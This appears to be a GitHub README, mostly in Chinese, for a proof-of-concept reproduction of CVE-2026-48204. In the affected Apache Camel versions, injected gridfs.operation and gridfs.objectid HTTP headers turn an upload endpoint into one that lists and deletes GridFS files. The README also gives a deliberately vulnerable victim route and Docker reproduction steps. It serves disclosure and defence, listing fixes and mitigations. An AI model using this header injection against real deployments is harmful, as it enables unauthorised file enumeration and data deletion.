oscerd/CVE-2026-48204
GitHub: oscerd/CVE-2026-48204
Apache Camel camel-mongodb-gridfs 组件的消息头注入漏洞(CVE-2026-48204)的完整复现项目,演示了通过未认证 HTTP 请求劫持 GridFS 操作的攻击链。
Stars: 0 | Forks: 0
# camel-mongodb-gridfs `gridfs.*` Header 注入复现项目 (CVE-2026-48204)
本项目演示了 Apache Camel 的 `camel-mongodb-gridfs` 组件中的一处**消息头注入**漏洞,
追踪编号为 **CVE-2026-48204**。**当 endpoint 的 `operation` 参数未设置时(这也是
默认行为)**,producer 会从 **`gridfs.operation`** Exchange header 中选择要执行的 GridFS 操作。控制头常量(`GridFsConstants.GRIDFS_OPERATION`、`GRIDFS_OBJECT_ID`、`GRIDFS_METADATA`、
`GRIDFS_CHUNKSIZE`、`GRIDFS_FILE_ID_PRODUCED`)是纯字符串 `gridfs.operation`、`gridfs.objectid`、
`gridfs.metadata`、`gridfs.chunksize`、`gridfs.fileid`。由于这些名称不以 `Camel` /
`camel` 前缀开头,`HttpHeaderFilterStrategy` —— 它在 HTTP 边界处仅拦截 Camel header 命名空间 ——
使得它们能够从入站 HTTP 请求直接进入 Exchange。
因此,在将 HTTP consumer(例如 platform-http)桥接到没有显式指定 operation 的 `mongodb-gridfs:` producer 的路由中,
任何 HTTP 客户端都可以将 `gridfs.operation` header 设置为**覆盖预期的操作** —— 从而将文件上传切换为
`listAll`(枚举所有文件)、`findOne`(读取文件)或
`remove`(删除由攻击者提供的 `gridfs.objectid` 所标识的文件),并且可以提供
一个会被解析为 MongoDB 文档的 `gridfs.metadata` 值(NoSQL 运算符注入)。
此 PoC 演示了该攻击链:**`listAll` 枚举 bucket(泄露每个文件的 ObjectId) → `remove`
删除受保护的文件** —— 而这一切均发生在原作者仅打算用于上传的 endpoint 上。
安全通告:https://camel.apache.org/security/CVE-2026-48204.html
## 漏洞概述
| 属性 | 值 |
|----------|-------|
| **组件** | `camel-mongodb-gridfs` |
| **受影响类** | `org.apache.camel.component.mongodb.gridfs.GridFsProducer`(当 endpoint 未设置 `operation` 时,操作由 `gridfs.operation` 决定) |
| **CWE** | CWE-20 (不当输入验证) / CWE-284 (不当访问控制) |
| **影响** | 通过 header 覆盖 GridFS 操作 → 枚举 / 读取 / **删除** 文件;`gridfs.metadata` NoSQL 注入 |
| **前置条件** | 路由将 HTTP consumer 桥接到没有显式指定 `operation` 的 `mongodb-gridfs:` producer;当 consumer 未经过身份验证时,即为未授权访问 |
| **受影响版本** | 从 4.0.0 到 4.14.8 之前,从 4.15.0 到 4.18.3 之前,从 4.19.0 到 4.21.0 之前 |
| **修复版本** | 4.14.8, 4.18.3, 4.21.0 |
| **JIRA** | CAMEL-23575 (PR [apache/camel#23413](https://github.com/apache/camel/pull/23413)) |
| **鸣谢** | Yu Bao (PayPal) |
## 技术细节
```
// GridFsConstants (affected 4.18.2) — the control-header names are bare, non-Camel-prefixed strings:
public static final String GRIDFS_OPERATION = "gridfs.operation";
public static final String GRIDFS_OBJECT_ID = "gridfs.objectid";
// GridFsProducer.process (affected 4.18.2) — no endpoint operation -> header decides:
String operation = endpoint.getOperation();
if (operation == null) {
operation = exchange.getIn().getHeader(GridFsConstants.GRIDFS_OPERATION, String.class); // attacker-controlled
}
if (operation == null || "create".equals(operation)) { /* upload */ }
else if ("remove".equals(operation)) {
ObjectId objectId = exchange.getIn().getHeader(GridFsConstants.GRIDFS_OBJECT_ID, ObjectId.class);
endpoint.getGridFsBucket().delete(objectId); // <-- deletes an attacker-chosen file
} else if ("listAll".equals(operation)) { /* enumerate every file (filename + ObjectId) */ }
```
该修复(4.14.8 / 4.18.3 / 4.21.0,CAMEL-23575)将这些值重命名为 `CamelGridFs*` 约定。
## 受害者路由
```
from("platform-http:/upload")
.setHeader(Exchange.FILE_NAME, simple("${header.filename}")) // the client's own upload filename
.to("mongodb-gridfs:mongoClient?database=testdb&bucket=fs"); // no operation -> header-driven (default)
```
一个没有显式指定 operation 的上传 endpoint。`gridfs.operation` / `gridfs.objectid` 是小写的,因此不像
某些同类的 CVE,它们能在 servlet 容器的 header 规范化中保留下来 —— 仅使用 platform-http 就足够了。
## 仓库结构
```
CVE-2026-48204/
├── pom.xml # camel-platform-http + camel-mongodb-gridfs 4.18.2
├── Dockerfile
├── docker-compose.yml # mongo 7 + the app
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── MongoConfig.java # the MongoClient bean (referenced as connectionBean) + host/db/bucket
│ ├── GridFsHarness.java # waits for Mongo, seeds the protected file, verifies deletion
│ ├── VictimRoute.java # platform-http:/upload -> mongodb-gridfs (no operation)
│ └── ExploitController.java # attacker: gridfs.operation=listAll then remove
└── resources/
└── application.properties
```
## 前置条件
- Docker 和 Docker Compose(用于运行 MongoDB 和应用程序)
- Java 17+ 和 Maven 3.8+(用于构建 jar 包)
## 复现步骤
```
mvn clean package -DskipTests
docker compose up -d --build
# 等待 app log 行 "Started Application",然后:
curl -s http://localhost:8080/exploit/attack
docker compose down
```
### 预期输出
```
initial GridFS state: 'important.dat' present = true, file count = 1
=== 1) Legitimate upload (no gridfs.* headers) — stores a file ===
file count now: 2
=== 2) Injected gridfs.operation=listAll — enumerates every file in the bucket ===
important.dat BsonObjectId{value=...}
userfile.dat BsonObjectId{value=...}
protected file enumerated: true
=== 3) Injected gridfs.operation=remove gridfs.objectid=... — deletes the protected file ===
'important.dat' still present: false
>>> Header-injection proof — an unauthenticated HTTP client subverted a file-upload endpoint
>>> into enumerating (true) and deleting (true) files via gridfs.operation / gridfs.objectid headers.
```
## 攻击向量
任何将 HTTP consumer 桥接到没有显式指定 `operation` 的 `mongodb-gridfs:` producer 的路由。可注入的
操作包括:`listAll`(枚举)、`findOne`(读取)、`remove`(删除),以及会被解析为
MongoDB 文档的 `gridfs.metadata`(NoSQL 运算符注入)。
## 推荐修复
升级至 **4.14.8 / 4.18.3 / 4.21.0** (CAMEL-23575)。升级后,通过 header 驱动 GridFS 操作的路由
必须使用 `CamelGridFsOperation` / `CamelGridFsObjectId` 等。
## 缓解措施
在升级之前,请在 `mongodb-gridfs:` endpoint 上设置显式的 `operation`,使其不会从 header 中获取,
并在 producer 之前从任何不受信任的入口流量中剥离 `gridfs.*` header。
## 免责声明
此复现项目仅用于**安全研究和授权测试**,针对的是**已公开披露
且已修复**的漏洞。未经明确许可,请勿将其用于任何系统。
标签:Apache Camel, JS文件枚举, MongoDB GridFS, NoSQL注入, 域名枚举, 消息头注入, 漏洞复现, 版权保护, 请求拦截